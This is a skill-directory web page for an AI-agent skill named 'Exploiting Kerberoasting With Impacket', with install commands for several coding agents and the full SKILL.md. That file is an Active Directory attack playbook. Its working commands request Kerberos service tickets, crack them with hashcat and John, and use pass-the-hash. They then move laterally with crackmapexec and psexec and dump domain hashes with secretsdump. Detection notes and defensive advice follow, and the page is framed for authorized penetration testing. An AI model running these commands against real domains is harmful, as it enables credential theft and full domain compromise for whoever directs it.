Authorization Bypass Detection
Tencent/AI-Infra-Guard
Probes an AI agent through dialogue for cross-user data access, privilege escalation and login bypass, and reports confirmed findings as structured vulnerability entries.
Agent skill
Exploiting Kerberoasting With Impacket
Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted…
Install Exploiting Kerberoasting With Impacket
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-kerberoasting-with-impacket --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/exploiting-kerberoasting-with-impacket .claude/skills/exploiting-kerberoasting-with-impacket && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "exploiting-kerberoasting-with-impacket" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-kerberoasting-with-impacket into .claude/skills/exploiting-kerberoasting-with-impacket/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "exploiting-kerberoasting-with-impacket", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-kerberoasting-with-impacketType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-kerberoasting-with-impacket --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/exploiting-kerberoasting-with-impacket .agents/skills/exploiting-kerberoasting-with-impacket && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "exploiting-kerberoasting-with-impacket" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-kerberoasting-with-impacket into .agents/skills/exploiting-kerberoasting-with-impacket/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "exploiting-kerberoasting-with-impacket", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-kerberoasting-with-impacket --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/exploiting-kerberoasting-with-impacket .cursor/skills/exploiting-kerberoasting-with-impacket && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "exploiting-kerberoasting-with-impacket" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-kerberoasting-with-impacket into .cursor/skills/exploiting-kerberoasting-with-impacket/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "exploiting-kerberoasting-with-impacket", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git --path skills/exploiting-kerberoasting-with-impacket--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-kerberoasting-with-impacket --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/exploiting-kerberoasting-with-impacket .gemini/skills/exploiting-kerberoasting-with-impacket && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "exploiting-kerberoasting-with-impacket" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-kerberoasting-with-impacket into .gemini/skills/exploiting-kerberoasting-with-impacket/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "exploiting-kerberoasting-with-impacket", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-kerberoasting-with-impacketInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/exploiting-kerberoasting-with-impacket .github/skills/exploiting-kerberoasting-with-impacket && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "exploiting-kerberoasting-with-impacket" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-kerberoasting-with-impacket into .github/skills/exploiting-kerberoasting-with-impacket/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "exploiting-kerberoasting-with-impacket", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-kerberoasting-with-impacket --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/exploiting-kerberoasting-with-impacket .opencode/skills/exploiting-kerberoasting-with-impacket && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "exploiting-kerberoasting-with-impacket" agent skill from https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-kerberoasting-with-impacket into .opencode/skills/exploiting-kerberoasting-with-impacket/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "exploiting-kerberoasting-with-impacket", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
Facts
- Skill name
exploiting-kerberoasting-with-impacket- GitHub stars
- 34k
- Token cost
- ~2k tokens
- SKILL.md length
- 391 words
- Files
- 8 (incl. scripts, references, assets)
- Skills in repo
- 644
- Repo updated
- First seen
- Licence
- Apache-2.0
At a glance
Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted…
- Works in 4 steps: Enumerate Kerberoastable Accounts → Request TGS Tickets → Crack TGS Tickets Offline → …
- Tasks that involve Red teaming and adversary simulation
- SKILL.md covers Overview, When to Use, Prerequisites and MITRE ATT&CK Mapping, plus 9 more sections
- Runs Python scripts from its folder; calls pip
What it does
Exploiting Kerberoasting With Impacket is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted hashes offline to recover service account credentials. Use during authorized Active Directory penetration tests or red-team engagements for credential access against service accounts via Kerberos ticket-granting-service requests.
Its SKILL.md is about 2k tokens, which your agent loads only when the skill is triggered. The skill folder holds 10 other files, including scripts, reference files and assets (for example `assets/template.md`, `references/api-reference.md` and `references/standards.md`).
It sits in Security, covering Red teaming and adversary simulation. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.
When your agent uses it
- Tasks that involve Red teaming and adversary simulation
Example prompts
- “Use the exploiting-kerberoasting-with-impacket skill to perform Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request…”
- “/exploiting-kerberoasting-with-impacket”
Requirements
- Python 3
Workflow steps
4 steps, taken from the step headings in SKILL.md.
What it can do on your machine
Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.
Tool permissions
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Runs code
Ships 2 files in scripts/ (Python), which the agent can run.
Shell commands in SKILL.md call:
pip
From the folder's file list and the shell code blocks in SKILL.md.
Network
Links to these hosts (documentation or services it may open):
attack.mitre.orggithub.composts.specterops.io
From URLs in SKILL.md, links to its own repository left out.
Credentials
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Context cost
Exploiting Kerberoasting With Impacket loads about 2k tokens when it runs, and up to ~4.5k if it reads all its reference files. Until then it costs about 115 tokens; SKILL.md has 391 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
Safety
Auto-check passed
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.
SKILL.md
The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 391 words, ~1,979 tokens.
Download SKILL.mdSave it as
.claude/skills/exploiting-kerberoasting-with-impacket/SKILL.md (or your agent's skills folder). This skill also uses 7 other files; get the full folder from GitHub.- name
- exploiting-kerberoasting-with-impacket
- description
- Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted hashes offline to recover service account credentials. Use during authorized Active Directory penetration tests or red-team engagements for credential access against service accounts via Kerberos ticket-granting-service requests.
- domain
- cybersecurity
- subdomain
- red-teaming
- tags
- kerberoasting, impacket, active-directory, credential-access, kerberos, t1558-003, service-accounts
- version
- 1.0
- author
- mahipal
- license
- Apache-2.0
- d3fend_techniques
- Application Protocol Command Analysis, Network Isolation, Network Traffic Analysis, Client-server Payload Profiling, Network Traffic Community Deviation
- nist_csf
- ID.RA-01, GV.OV-02, DE.AE-07
- mitre_attack
- T1595, T1190, T1059, T1078, T1003
Exploiting Kerberoasting with Impacket
Overview
Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's GetUserSPNs.py is the standard tool for Linux-based Kerberoasting attacks.
When to Use
- When performing authorized security testing that involves exploiting kerberoasting with impacket
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Valid domain credentials (any domain user can request TGS tickets)
- Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
- Impacket installed (
pip install impacket) - Hashcat or John the Ripper for offline cracking
- Wordlist (e.g., rockyou.txt, SecLists)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1110.002 | Brute Force: Password Cracking | Credential Access |
Step 1: Enumerate Kerberoastable Accounts
# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
# Output example:
# ServicePrincipalName Name MemberOf PasswordLastSet
# ---------------------------- ---------- -------------------------------- -------------------
# MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22
# HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00
# HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10Step 2: Request TGS Tickets
# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txtStep 3: Crack TGS Tickets Offline
# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!Step 4: Validate and Use Cracked Credentials
# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlmAlternative Tools
Rubeus (Windows)
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txtShow full SKILL.md (156 more words)Show less
PowerView (PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txtTargeted Kerberoasting
High-value targets for Kerberoasting:
| Account Type | Why | Risk |
|---|---|---|
| Service accounts in Domain Admins | Direct path to domain compromise | Critical |
| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |
| Exchange service accounts | Access to all email | High |
| Accounts with AdminCount=1 | Previously/currently privileged | High |
| Accounts with old passwords | More likely to use weak passwords | Medium |
Detection
Windows Event Logs
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPsSigma Rule
title: Potential Kerberoasting Activity
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4
ServiceName|endswith: '$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: medium
tags:
- attack.credential_access
- attack.t1558.003Defensive Recommendations
- Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
- Set strong passwords (25+ chars) on all service accounts
- Enable AES-only encryption - Disable RC4 via GPO
- Monitor Event ID 4769 for RC4 TGS requests
- Implement Managed Service Accounts where gMSA is not feasible
- Regular audits - Run BloodHound to identify Kerberoastable accounts
- Protected Users group - Add sensitive service accounts
- Honeypot SPNs - Create decoy accounts with SPNs to detect attacks
References
- MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
- Impacket: https://github.com/fortra/impacket
- Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
- Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/
© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Files
SKILL.md and 7 other files (scripts, references, assets) in skills/exploiting-kerberoasting-with-impacket of mukul975/Anthropic-Cybersecurity-Skills.
- SKILL.md
- LICENSE
- assets/template.md
- references/api-reference.md
- references/standards.md
- references/workflows.md
- scripts/agent.py
- scripts/process.py
Open the folder on GitHubat commit 54a7988
Compare with similar skills
Exploiting Kerberoasting With Impacket next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Exploiting Kerberoasting With Impacket this skillmukul975/Anthropic-Cybersecurity-Skills | 34k | — | ~2k | Automated safety check: Pass | Apache-2.0 | |
| Authorization Bypass DetectionTencent/AI-Infra-Guard | 6.8k | — | ~753 | Automated safety check: Pass | Apache-2.0 | |
| Run Assert Evalresponsibleai/ASSERT | 330 | — | ~11k | Automated safety check: Notes | MIT | |
| Osint Methodologyelementalsouls/Claude-OSINT | 2.8k | — | ~8.7k | Automated safety check: Notes | MIT | |
| Lfd Designelvisun/loss-function-development | 176 | — | ~2.9k | Automated safety check: Notes | MIT | |
| Acl AbuseADScanPro/Claude-AD | 211 | — | ~2.6k | Automated safety check: Pass | MIT |
Similar skills
Run Assert Eval
responsibleai/ASSERT
Run an ASSERT evaluation against a described risk. An agent skill from responsibleai/ASSERT.
Osint Methodology
elementalsouls/Claude-OSINT
Comprehensive OSINT methodology for external red-team operations and authorized attack-surface assessments.
Lfd Design
elvisun/loss-function-development
Design a loss function and harness for a long-running /goal optimization run (loss-function development, LFD).
Acl Abuse
ADScanPro/Claude-AD
Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite, WriteDACL, WriteOwner, AddMember, ForceChangePassword, and replication…
Web Exfiltration Detection
Tencent/AI-Infra-Guard
Probes whether an agent with web fetch and stored user memory can be tricked by a malicious page into leaking data through chained URL paths.
More from mukul975/Anthropic-Cybersecurity-Skills
All 644 skills in this repoCampaign Attribution Evidence Analysis
mukul975/Anthropic-Cybersecurity-Skills
Weighs infrastructure, TTP, malware code and timing evidence with the Diamond Model and competing hypotheses to reach a confidence-rated attribution.
Go Malware Analysis in Ghidra
mukul975/Anthropic-Cybersecurity-Skills
Walks through reverse engineering Go-compiled malware in Ghidra: parsing buildinfo and pclntab, recovering stripped function names and extracting dependencies.
LNK and Jump List Forensics
mukul975/Anthropic-Cybersecurity-Skills
Guides forensic analysis of Windows LNK shortcut files and Jump Lists with LECmd, JLECmd and manual parsing to show file access and program execution.
Malware Persistence Analysis with Autoruns
mukul975/Anthropic-Cybersecurity-Skills
Hunts Windows malware persistence with Sysinternals Autoruns, covering run keys, services, scheduled tasks and drivers, with baseline comparison.
NTFS MFT Deleted File Recovery
mukul975/Anthropic-Cybersecurity-Skills
Guides a Windows forensic examination of the NTFS Master File Table to recover deleted-file evidence, build timelines and spot timestomping.
Network Covert Channel Analysis
mukul975/Anthropic-Cybersecurity-Skills
Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.
Related
Categories
Questions about Exploiting Kerberoasting With Impacket
What does Exploiting Kerberoasting With Impacket do?
Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted…. Exploiting Kerberoasting With Impacket is an agent skill from mukul975/Anthropic-Cybersecurity-Skills.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4/AES-encrypted hashes offline to recover service account credentials.
When should I use Exploiting Kerberoasting With Impacket?
Exploiting Kerberoasting With Impacket fits situations like: tasks that involve Red teaming and adversary simulation.
How do I install Exploiting Kerberoasting With Impacket in Claude Code?
Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a claude-code`. Or copy the skill folder (skills/exploiting-kerberoasting-with-impacket in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/exploiting-kerberoasting-with-impacket in your project. Claude Code loads it when a task matches its description.
How do I install Exploiting Kerberoasting With Impacket in Codex?
Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a codex`. Or copy the skill folder (skills/exploiting-kerberoasting-with-impacket in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/exploiting-kerberoasting-with-impacket in your project. Codex loads it when a task matches its description.
Can I use Exploiting Kerberoasting With Impacket in Cursor, Gemini CLI or GitHub Copilot?
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/exploiting-kerberoasting-with-impacket, .gemini/skills/exploiting-kerberoasting-with-impacket, .github/skills/exploiting-kerberoasting-with-impacket and .opencode/skills/exploiting-kerberoasting-with-impacket in your project.
What does Exploiting Kerberoasting With Impacket need to run?
Going by SKILL.md and its folder, Exploiting Kerberoasting With Impacket needs Python for the scripts in its folder and the command-line tools its instructions call (pip). Our summary lists: Python 3.
Does Exploiting Kerberoasting With Impacket access the network?
SKILL.md names 3 domains. As links in the text: attack.mitre.org, github.com and posts.specterops.io. This is read from the text; nothing was executed.
Is Exploiting Kerberoasting With Impacket safe to install?
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.
What licence does Exploiting Kerberoasting With Impacket use?
Exploiting Kerberoasting With Impacket is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.
How many tokens does Exploiting Kerberoasting With Impacket use?
About 2k tokens (SKILL.md is roughly 7.9k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 2.5k tokens, read only when the agent opens those files.
What are the alternatives to Exploiting Kerberoasting With Impacket?
Skills that share tags, products or a category with Exploiting Kerberoasting With Impacket: Authorization Bypass Detection (Tencent/AI-Infra-Guard, 6.8k stars), Run Assert Eval (responsibleai/ASSERT, 330 stars), Osint Methodology (elementalsouls/Claude-OSINT, 2.8k stars) and Lfd Design (elvisun/loss-function-development, 176 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Who maintains Exploiting Kerberoasting With Impacket?
mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 34,116 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.
Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.